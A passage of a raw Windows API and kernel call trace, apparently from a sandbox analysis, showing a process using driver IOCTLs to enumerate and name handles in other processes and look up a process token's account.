Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.450] PsAcquireProcessExitSynchronization () returned 0x0 [0136.450] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.450] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030fca70, HandleInformation=0x0) returned 0x0 [0136.450] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.450] PsReleaseProcessExitSynchronization () returned 0x2 [0136.450] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.450] ObQueryNameString (in: Object=0xfffffa80030fca70, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.450] ObfDereferenceObject (Object=0xfffffa80030fca70) returned 0x2 [0136.450] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.450] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.450] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.450] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.450] PsAcquireProcessExitSynchronization () returned 0x0 [0136.451] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.451] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030fc920, HandleInformation=0x0) returned 0x0 [0136.451] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.451] PsReleaseProcessExitSynchronization () returned 0x2 [0136.451] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.451] ObQueryNameString (in: Object=0xfffffa80030fc920, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.451] ObfDereferenceObject (Object=0xfffffa80030fc920) returned 0x1 [0136.451] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.451] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.451] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.451] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.451] PsAcquireProcessExitSynchronization () returned 0x0 [0136.451] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.451] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.451] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.451] PsReleaseProcessExitSynchronization () returned 0x2 [0136.451] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.451] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.451] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.451] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.451] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.451] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.451] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.451] PsAcquireProcessExitSynchronization () returned 0x0 [0136.451] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff880054735d0) [0136.451] ObReferenceObjectByHandle (in: Handle=0x23c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.451] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.451] PsReleaseProcessExitSynchronization () returned 0x2 [0136.451] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb0 [0136.451] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.451] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.451] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.452] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.452] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xc0 [0136.452] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.452] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0136.452] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.452] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x102 [0136.452] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.452] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.452] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.452] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.452] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.564] CloseHandle (hObject=0xc8) returned 1 [0136.564] CloseHandle (hObject=0xc0) returned 1 [0136.564] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.564] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.564] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.564] PsAcquireProcessExitSynchronization () returned 0x0 [0136.564] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.564] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003102070, HandleInformation=0x0) returned 0x0 [0136.565] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.565] PsReleaseProcessExitSynchronization () returned 0x2 [0136.565] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.565] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0136.565] ObfDereferenceObject (Object=0xfffffa8003102070) returned 0x1 [0136.565] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.565] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.565] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.565] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.565] PsAcquireProcessExitSynchronization () returned 0x0 [0136.565] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.565] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031063b0, HandleInformation=0x0) returned 0x0 [0136.565] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.565] PsReleaseProcessExitSynchronization () returned 0x2 [0136.565] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.565] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0136.565] ObfDereferenceObject (Object=0xfffffa80031063b0) returned 0x1 [0136.565] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.565] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.565] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.565] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.565] PsAcquireProcessExitSynchronization () returned 0x0 [0136.565] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.565] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800311aa30, HandleInformation=0x0) returned 0x0 [0136.565] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.565] PsReleaseProcessExitSynchronization () returned 0x2 [0136.565] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.565] ObQueryNameString (in: Object=0xfffffa800311aa30, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.565] ObfDereferenceObject (Object=0xfffffa800311aa30) returned 0x2 [0136.566] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.566] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.566] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.566] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.566] PsAcquireProcessExitSynchronization () returned 0x0 [0136.566] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.566] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800311acd0, HandleInformation=0x0) returned 0x0 [0136.566] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.566] PsReleaseProcessExitSynchronization () returned 0x2 [0136.566] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.566] ObQueryNameString (in: Object=0xfffffa800311acd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.566] ObfDereferenceObject (Object=0xfffffa800311acd0) returned 0x1 [0136.566] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.566] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.566] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0136.566] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.566] PsAcquireProcessExitSynchronization () returned 0x0 [0136.566] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.566] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800311be90, HandleInformation=0x0) returned 0x0 [0136.566] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.566] PsReleaseProcessExitSynchronization () returned 0x2 [0136.566] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.566] ObQueryNameString (in: Object=0xfffffa800311be90, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.566] ObfDereferenceObject (Object=0xfffffa800311be90) returned 0x1 [0136.566] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.566] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.566] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0136.566] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.566] PsAcquireProcessExitSynchronization () returned 0x0 [0136.566] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.566] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003124d10, HandleInformation=0x0) returned 0x0 [0136.567] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.567] PsReleaseProcessExitSynchronization () returned 0x2 [0136.567] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.567] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.567] ObfDereferenceObject (Object=0xfffffa8003124d10) returned 0x1 [0136.567] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.567] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.567] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0136.567] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.567] PsAcquireProcessExitSynchronization () returned 0x0 [0136.567] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.567] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003124b80, HandleInformation=0x0) returned 0x0 [0136.567] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.567] PsReleaseProcessExitSynchronization () returned 0x2 [0136.567] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.567] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.567] ObfDereferenceObject (Object=0xfffffa8003124b80) returned 0x1 [0136.567] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.567] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.567] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0136.567] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.567] PsAcquireProcessExitSynchronization () returned 0x0 [0136.567] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.567] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800c0d0cb0, HandleInformation=0x0) returned 0x0 [0136.567] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.567] PsReleaseProcessExitSynchronization () returned 0x2 [0136.567] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.567] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.567] ObfDereferenceObject (Object=0xfffffa800c0d0cb0) returned 0x12 [0136.567] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.567] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.568] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.568] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.568] PsAcquireProcessExitSynchronization () returned 0x0 [0136.568] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.568] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800306e070, HandleInformation=0x0) returned 0x0 [0136.568] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.568] PsReleaseProcessExitSynchronization () returned 0x2 [0136.568] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.568] ObQueryNameString (in: Object=0xfffffa800306e070, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.568] ObfDereferenceObject (Object=0xfffffa800306e070) returned 0x2 [0136.568] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.568] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.568] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0136.568] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.568] PsAcquireProcessExitSynchronization () returned 0x0 [0136.568] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.568] ObReferenceObjectByHandle (in: Handle=0x194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003122070, HandleInformation=0x0) returned 0x0 [0136.568] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.568] PsReleaseProcessExitSynchronization () returned 0x2 [0136.568] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0136.568] ObQueryNameString (in: Object=0xfffffa8003122070, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.568] ObfDereferenceObject (Object=0xfffffa8003122070) returned 0x2 [0136.568] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.568] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.568] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.568] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.568] PsAcquireProcessExitSynchronization () returned 0x0 [0136.568] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054735d0) [0136.568] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: 